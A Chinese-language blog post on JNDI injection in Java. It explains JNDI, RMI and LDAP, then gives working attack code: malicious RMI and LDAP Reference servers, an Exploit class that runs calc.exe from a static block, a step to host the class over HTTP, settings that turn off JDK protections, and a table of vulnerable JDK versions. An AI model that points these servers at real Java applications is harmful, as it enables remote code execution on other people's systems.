参考文章:

https://b1ue.cn/archives/529.html

https://docs.oracle.com/javase/jndi/tutorial/TOC.html

https://tttang.com/archive/1441/

https://goodapple.top/archives/696

https://xz.aliyun.com/t/12277

https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

写在前面吧:
这篇文章我早就”抄“完了,因为最近在找工作(一言难尽),过了一段时间我回来看自己写的文章,简直就是一坨。网上对这种分析的文章数不胜数,而且感觉大家写的都非常好,但是轮到自己写的时候都是稀里糊涂就写完了。说是写文章其实就是根据其他师傅的文章进行复现,debug源码。当然这其中我还是有自己提出问题的,大部分问题也都自己去验证了。

也许,抄着抄着就会了?

最后也是写了JNDI注入的利用工具:https://github.com/N0boy-0/JNDIExploit(正在努力完成),有什么问题可以直接issue。

JNDI和各个服务的简单介绍

JNDI(Java Naming and Directory Interface)本质是可以操作目录服务、域名服务的一组接口。JNDI相当于在LDAP、RMI等服务外面再套了一层API,方便统一调用。调用JNDI的API可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA。

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作。

Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

DNS服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Test {
public static void main(String[] args) throws NamingException, RemoteException {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("baidu.com", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
// 下面的也是可以的,不过下面的会使用默认的dns服务器
public class Test {
public static void main(String[] args) throws NamingException, RemoteException {
// Hashtable<String, String> env = new Hashtable<>();
// env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
try {
DirContext ctx = new InitialDirContext();
Attributes res = ctx.getAttributes("dns:baidu.com", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

使用JNDI调用dns服务去查询baidu.com的ip地址

image-20231223163802702

这里看到ctx是一个DirContext对象,说明他是一个目录对象,这个目录对象的属性便是baidu.com的ip记录。

RMI服务

RMI是一种用于在不同 Java 虚拟机(JVM)之间进行远程方法调用的机制。它允许对象在不同的 JVM 中进行交互,就像在同一 JVM 中调用对象的方法一样。RMI 主要用于实现分布式应用程序,允许客户端和服务器之间进行远程通信。

我们需要定义一个远程接口,该接口将声明我们希望远程调用的方法。

1
2
3
4
5
6
7
8
9
// Hello.java
package com.lucifer;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
String sayHello() throws RemoteException;
}

实现这个接口和接口内的方法,生成的实例将会是之后远程调用方法的作用对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// HelloImpl.java
package com.lucifer;

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
super();
}

@Override
public String sayHello() throws RemoteException {
return "Hello, world!";
}
}

创建服务端,并将对象与字符串绑定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// RMIServer.java
package com.lucifer;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
HelloImpl hello = new HelloImpl();

// 创建 RMI 注册表
Registry registry = LocateRegistry.createRegistry(1099);

// 将远程对象绑定到 RMI 注册表
registry.rebind("Hello", hello);

System.out.println("RMI Server is ready.");
} catch (Exception e) {
e.printStackTrace();
}
}
}

创建客户端调用远程方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// RMIClient.java
package com.lucifer;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) {
try {
// 获取 RMI 注册表
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

// 查找远程对象
Hello stub = (Hello) registry.lookup("Hello");

// 调用远程方法
String response = stub.sayHello();
System.out.println("Response from server: " + response);
} catch (Exception e) {
e.printStackTrace();
}
}
}

客户端获取远程对象(这里其实并不是远程对象而是远程对象票据stub,然后通过stub与服务端通信)并调用方法,在服务端执行后将结果返回。其中RMI注册端就提供了一个简单的命名服务,RMI注册端负责将对象与字符串绑定起来,那为什么还要有JNDI呢?其实JNDI就是一个接口,便于统一管理这样的服务而已。

在JNDI如何调用rmi服务呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.jndiTest;
import com.lucifer.Hello;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDILookup {
public static void main(String[] args) {
try {
String url = "rmi://127.0.0.1:1099/Hello";
InitialContext initialContext = new InitialContext();
Hello lookup = (Hello) initialContext.lookup(url);
System.out.println(lookup.sayHello());
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
throw new RuntimeException(e);
}
}
}

运行之后会输出Hello, world! JNDI已经成功调用了本地开启的RMI服务。

LDAP服务

LDAP(轻型目录访问协议)是一种软件协议 ,使任何人都可以在公共互联网或公司内网上查找网络中的组织,个人和其他资源(例如文件和设备)的数据 。LDAP 是目录访问协议(DAP)的“轻量级”版本,它是 X.500( 网络中目录服务的标准 )的一部分。

目录告诉用户某些内容在网络中的位置。在TCP / IP 网络上,域名系统(DNS)是用于将域名与特定网络地址(网络上的唯一位置)相关联的目录系统。但是,用户可能不知道域名。LDAP 允许用户搜索个人,而无需知道他们的位置(尽管其他信息将对搜索有所帮助)。

dc(Domain Component)用于表示域名的组成部分。它通常用于定义 LDAP 目录的根节点。例如dc=luc1fer,dc=cn.

cn(Common Name)用于表示某个具体的对象或条目的名称,通常用于用户、组或其他实体的名称。例如cn=John Doe.

dn(Distinguished Name)是该条目的唯一标识符,例如uid=john,ou=users,dc=luc1fer,dc=cn,特别指明一个条目.

下面是一个例子便于理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import cn.luc1fer.servers.LDAPServer;
import com.sun.jndi.dns.DnsContext;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Attribute;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldif.LDIFException;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.InitialDirContext;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.rmi.RemoteException;

public class LdapServerTest {
private void start(String ip, Integer port) throws UnknownHostException, LDAPException, NamingException, RemoteException {
// 配置基础 DN
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=luc1fer,dc=cn");
// config.setSchema(null);

// 配置监听器
InMemoryListenerConfig listenConfig = new InMemoryListenerConfig(
"ldap",
InetAddress.getByName(ip),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
);
config.setListenerConfigs(listenConfig);

// 创建并启动 LDAP 服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();

// 添加父条目 dc=luc1fer,dc=cn
ds.add(
"dc=luc1fer,dc=cn",
new Attribute("objectClass", "top"),
new Attribute("objectClass", "domain"),
new Attribute("dc", "luc1fer")
);

// 添加子条目 ou=users,dc=luc1fer,dc=cn
ds.add(
"ou=users,dc=luc1fer,dc=cn",
new Attribute("objectClass", "organizationalUnit"),
new Attribute("ou", "users")
);
// 添加一些条目
ds.add(
"uid=john,ou=users,dc=luc1fer,dc=cn",
new Attribute("objectClass", "inetOrgPerson"),
new Attribute("uid", "john"),
new Attribute("cn", "John Doe"),
new Attribute("sn", "Doe"),
new Attribute("mail", "john.doe@example.com"),
new Attribute("userPassword", "password123"),
new Attribute("telephoneNumber", "+1555123456"),
new Attribute("title", "Software Engineer")
);

System.out.println("LDAP server started successfully...");
}

public static void main(String[] args) throws IOException, LDAPException, NamingException {
LdapServerTest ldapServer = new LdapServerTest();
ldapServer.start("127.0.0.1", 389);
InitialDirContext initialContext = new InitialDirContext();
Attributes attributes = initialContext.getAttributes("ldap://127.0.0.1:389/uid=john,ou=users,dc=luc1fer,dc=cn");
System.out.println(attributes.get("title"));
}
}

image-20241022144949607

LDAP和DNS一样提供的是一个目录服务,生成的是一个树形目录结构,在检索的时候一级一级的检索下去,从上面的例子不难看出LDAP可以用来做身份认证。

1
2
3
4
5
---luc1fer.cn
|
---users
|
--- john (各种属性)

lookup方法

在JNDI中有一个核心方法,也是JNDI注入漏洞触发的方法lookup()InitialDirContext.lookup()InitialContext.lookup()均能触发JNDI注入。

1
2
3
4
5
6
Hashtable<Object, Object> env = new Hashtable<>();
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");

InitialContext initialContext = new InitialContext(env);
initialContext.lookup("rmi://127.0.0.1:1099/Exploit");

JNDI的InitialContext初始化的参数可以指定初始化工厂Context.INITIAL_CONTEXT_FACTORY和提供服务的地址Context.PROVIDER_URL,例如DNS服务可以指定DNS服务器的位置,而初始化工厂提供了该服务的初始上下文。在InitialContext初始化的时候,如果用户指定了INITIAL_CONTEXT_FACTORY便会调用getDefaultInitCtx()将用户指定的ContextFactory进行实例化后返回。

image-20241022151935565

lookup方法有一个特性就是动态解析协议,如果方法参数是一个绝对地址例如rmi://xxxxx/xx或者ldap://xxxx/xxx的情况下,lookup方法会动态创建对应的SchemaUrlContext。具体做法:在lookup方法中会解析传入字符串的协议(由getURLScheme方法来完成),如果协议不为空则到com.sun.jndi.url对应的包下加载对应的URLContextFactory

image-20241022152602431

image-20241018190309136

lookup的动态解析:只有在scheme为空的情况下才会使用指定的ContextFactory,否则会根据协议使用默认的UrlContextFactory。

举一个例子理解吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.jndiTest;
import com.lucifer.Hello;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class JNDILookup {
public static void main(String[] args) {
try {
// 正常请求
Hashtable<Object, Object> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/");
InitialContext initialContext = new InitialContext(env);
Hello lookup = (Hello) initialContext.lookup("Hello");
System.out.println("response:"+lookup.sayHello());

// 恶意请求 假设lookup方法参数可控,这时输入恶意绝对路径就可以触发漏洞
Hello lookup1 = (Hello) initialContext.lookup("rmi://127.0.0.1:1098/Exploit");
System.out.println("response:"+lookup1.sayHello());

} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
throw new RuntimeException(e);
}
}
}

在本机开启两个服务,一个是正常的RMI服务,另一个是恶意的RMI服务,可以看到即使在指定RMI服务地址的情况下,使用绝对地址依然会触发漏洞。

image-20241022154728718

Reference

Reference的作用是什么?为什么要引入它?

在Naming Service中,有一些庞大的对象存储起来可能并不方便且有些信息也不是你所需要的,所以引入了Reference,Reference中保存了如何生成这个对象的具体信息。Reference就相当于一个凭证,你可以利用这个凭证获取到你想要的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package javax.naming;
public class Reference implements Cloneable, java.io.Serializable {
/**
* Contains the fully-qualified name of the class of the object to which
* this Reference refers.
* @serial
* @see java.lang.Class#getName
*/
protected String className; // 此引用引用的对象的类的完全限定名称。
/**
* Contains the addresses contained in this Reference.
* Initialized by constructor.
* @serial
*/
protected Vector<RefAddr> addrs = null // 此引用中所包含的地址

/**
* Contains the name of the factory class for creating
* an instance of the object to which this Reference refers.
* Initialized to null.
* @serial
*/
protected String classFactory = null; // 用于创建此引用引用的对象实例的工厂类的名称。

/**
* Contains the location of the factory class.
* Initialized to null.
* @serial
*/
protected String classFactoryLocation = null; // 工厂类的位置。
}

RMI服务执行方法的是服务端,如何影响到客户端呢?

1
2
3
4
//正常的RMI调用
Context context = new InitialContext();
context.lookup("rmi://10.0.0.2:1099/evil");
//此时执行evil所绑定的类,依然是在10.0.0.2上执行,无法影响到客户端

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,可以通过Reference类来绑定一个外部的远程对象。当客户端在lookup()查找这个远程对象时,服务端会将Reference传给客户端,客户端根据这个Reference获取相应的object factory,最终通过factory类将reference转换为具体的对象实例,JNDI调用远程Reference的时候会先尝试从本地的CLASSPATH中寻找该类,如果没有才用URLClassLoader远程进行加载。之后会执行该类的静态代码块、代码块、无参构造函数和getObjectInstance方法。

我看到一张图,来自https://goodapple.top/archives/696

image-20240906152346089

Reference的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.jndiTest;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIInjection {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:80/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
// 上面的内容就完成了一个恶意的RMI Reference服务

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?
其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

image-20241022215019780

具体的调用堆栈如下(环境为jdk8u65):

1
2
3
4
5
6
getObjectInstance:320, NamingManager (javax.naming.spi), NamingManager.java
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:124, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java
lookup:417, InitialContext (javax.naming), InitialContext.java
main:18, JNDILookup (com.jndiTest), JNDILookup.java

最后在NamingManager.getObjectInstance()中调用了getObjectFactoryFromReference()完成了远程加载类并初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName); // 先在本地加载
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase); // 本地不存在则获取Reference中的classFactoryLocation,根据url地址远程下载class文件并加载到JVM中
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

JNDI+RMI(Reference)

JNDIServer,运行jndi服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.jndiTest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://localhost:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);
}
}

JNDIClient,受害者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.jndiTest;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
import java.util.Properties;

public class JNDILookup {
public static void main(String[] args) {
try {
// 在一些高版本需要开启这个才可以远程加载
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String url = "rmi://127.0.0.1:1099/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);

} catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {
static {
System.err.println("lucifer");
try {
String[] cmd = {"calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

只需要将恶意类编译为class文件,在本地开启一个http服务器,可以用python3内置的http.server:python -m http.server 8000,然后将class文件复制到当前目录就可以了。

高版本之后的Reference攻击就会失效了,因为从JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。

image-20231225160707768

原因探析:

image-20231225161903439

在之前的版本中是没有这个校验的,直接就会调用getObjectInstance()

image-20231225202523440

RMI远程对象引用安全限制

在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象),为false则允许加载远程类文件。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象),一样无法调用远程的引用对象。

  • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始,java.rmi.server.useCodebaseOnly默认值改为了true。
  • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。

在高版本中测试远程对象引用可以使用如下方式允许加载远程的引用对象

1
2
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDI+LDAP(Reference)

如何构建LDAP恶意服务呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.jndiTest;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class ldapserver {

// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
public static final String BIND_HOST = "127.0.0.1";
// 设置LDAP服务端口
public static final int SERVER_PORT = 3890;

public static void main(String[] args) {
try {
// 创建LDAP配置对象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=org");
// 设置LDAP监听配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);
// 添加自定义的LDAP操作拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());

// 创建LDAP服务对象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
// 启动服务
ds.startListening();
System.out.println("LDAP服务启动成功");
}catch (Exception e){
e.printStackTrace();
}

}
private static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);

try {
// 设置对象的工厂类名
String className = "Exploit"; //修改
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);

// 设置远程的恶意引用对象的jar地址
entry.addAttribute("javaCodeBase", "http://localhost:8080/");

// 设置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");

result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
}

上面是恶意的ldap服务,使用了拦截器,当请求ldap服务时,直接返回包含有恶意地址的Reference。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.jndiTest;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
import java.util.Properties;

public class JNDILookup {
public static void main(String[] args) {
try {
String url = "ldap://127.0.0.1:3890/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

image-20240906155538555

执行的话和rmi一样只是服务换了一下而已,很多师傅都使用拦截器去实现恶意ldap Server。

还是跟RMI恶意服务一样,直接将恶意的Reference绑定到ldap服务的字符串上就好了。如何用ldap服务绑定恶意Reference?

方式一:

1
2
3
4
5
ds.add("dn: cn=evil,dc=javasec,dc=eki,dc=xyz",
"ObjectClass: javaNamingReference",
"javaCodebase: http://localhost:16000/",
"JavaFactory: xyz.eki.vuljndi.remote.DemoFactory",
"javaClassName: whatever");

添加一条这样的恶意条目就行,如果一开始写的话,这些属性都需要去文档里找(我找了一圈也没找到)。但是通过看源码也可以构造出这样的恶意条目,后面讲。

方式二:就是用JNDI获取服务之后绑定对应的Reference,我使用的是这个方式,因为简单且便于理解(并不是因为这种方式有多好,只作讨论,其实拦截器的实现是比较好的,有助于解析用户执行,后续会写在github项目中)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import cn.luc1fer.servers.HttpFileServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.LDAPException;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.directory.InitialDirContext;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class EvilLdapServer {
private String ip;
private Integer port;

public EvilLdapServer(String ip, Integer port) {
this.ip = ip;
this.port = port;
}

public void start() throws UnknownHostException, LDAPException, NamingException, RemoteException {
// 配置基础 DN
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=Exploit");
config.setSchema(null);

// 配置监听器
InMemoryListenerConfig listenConfig = new InMemoryListenerConfig(
"ldap",
InetAddress.getByName(ip),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
);
config.setListenerConfigs(listenConfig);

// 创建并启动 LDAP 服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
// 绑定恶意Reference
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:8080/");
Hashtable<Object, Object> env = new Hashtable<>();
env.put(Context.PROVIDER_URL,"ldap://"+ip+":"+port);
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
InitialDirContext initialDirContext = new InitialDirContext(env);
initialDirContext.rebind("dc=Exploit",reference);

System.out.println("LDAP server started successfully...");
System.out.println("LDAP server address is "+"ldap://"+ip+":"+port+"/dc=Exploit");
}

public static void main(String[] args) throws IOException, LDAPException, NamingException {
EvilLdapServer evilLdapServer = new EvilLdapServer("127.0.0.1", 389);
evilLdapServer.start();
}
}

image-20241023131711417

现在来说一下,根据源码如何看ldap中的属性如何设置。

在initialContext.lookup(“ldap://127.0.0.1:389/dc=Exploit”)处打断点,其实就是跟RMI一样找解析Reference的代码位置。

1
2
3
4
5
6
7
8
// 调用栈 测试环境依然为8u65
c_lookup:1049, LdapCtx (com.sun.jndi.ldap), LdapCtx.java
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx), ComponentContext.java
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx), PartialCompositeContext.java
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java
lookup:94, ldapURLContext (com.sun.jndi.url.ldap), ldapURLContext.java
lookup:417, InitialContext (javax.naming), InitialContext.java
main:10, JNDILookup (com.jndiTest), JNDILookup.java

在上面介绍Reference的时候也有过同样的分析,上面的调用栈中就是这个方法触发了最后的getObjectInstance(),所以找到了第一个属性javaClassName必须有

image-20241023132806653

继续往下看一眼就知道返回的对象最后传入了getObjectInstance()根据之前的调用栈,不放心的话可以调试之前的Reference看看传入的第一个参数是啥

image-20241023133800477

继续跟进decodeObject()

image-20241023133114939

到底要进哪个分支呢?看名字就知道第一个是反序列化,所以反序列化的属性就是

1
2
3
JAVA_ATTRIBUTES[2] = javaClassName
JAVA_ATTRIBUTES[4] = javaCodeBase
JAVA_ATTRIBUTES[1] = javaSerializedData

这为我们之后反序列化做准备。

最后一个铁定就是解析Reference的了因为写了decodeReference,所需的属性:

1
2
3
4
JAVA_ATTRIBUTES[2] = javaClassName
JAVA_ATTRIBUTES[0] = objectClass
JAVA_ATTRIBUTES[3] = javaFactory
JAVA_ATTRIBUTES[4] = javaCodeBase

这里需要注意要想调用到decodeReference()需要var1不能为空且var1包含javanamingreference或者javaNamingReference其中一个。

image-20241023150221238

同样也给出代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import cn.luc1fer.servers.HttpFileServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Attribute;
import com.unboundid.ldap.sdk.LDAPException;
import javax.naming.NamingException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.rmi.RemoteException;

public class EvilLdapServer2 {
private String ip;
private Integer port;

public EvilLdapServer2(String ip, Integer port) {
this.ip = ip;
this.port = port;
}

public void start() throws UnknownHostException, LDAPException, NamingException, RemoteException {
// 配置基础 DN
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=Exploit");
config.setSchema(null);

// 配置监听器
InMemoryListenerConfig listenConfig = new InMemoryListenerConfig(
"ldap",
InetAddress.getByName(ip),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
);
config.setListenerConfigs(listenConfig);
// 创建并启动 LDAP 服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

ds.add("dc=Exploit",
new Attribute("javaClassName","Exploit"),
new Attribute("objectClass","javanamingreference"),
new Attribute("javaFactory","Exploit"),
new Attribute("javaCodeBase","http://127.0.0.1:8080/")
);
ds.startListening();

System.out.println("LDAP server started successfully...");
System.out.println("LDAP server address is "+"ldap://"+ip+":"+port+"/dc=Exploit");
}

public static void main(String[] args) throws IOException, LDAPException, NamingException {
EvilLdapServer2 evilLdapServer = new EvilLdapServer2("127.0.0.1", 389);
evilLdapServer.start();
}
}

LDAP远程对象引用安全限制

LDAP在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly影响)

我下载了几个不同版本的jdk对JNDI+RMI和JNDI+LDAP进行测试。

jdk_version JNDI+RMI JNDI+LDAP
8u65 success success
8u111 success success
8u121 fail success
8u201 fail fail

JNDI注入高版本失败的原因

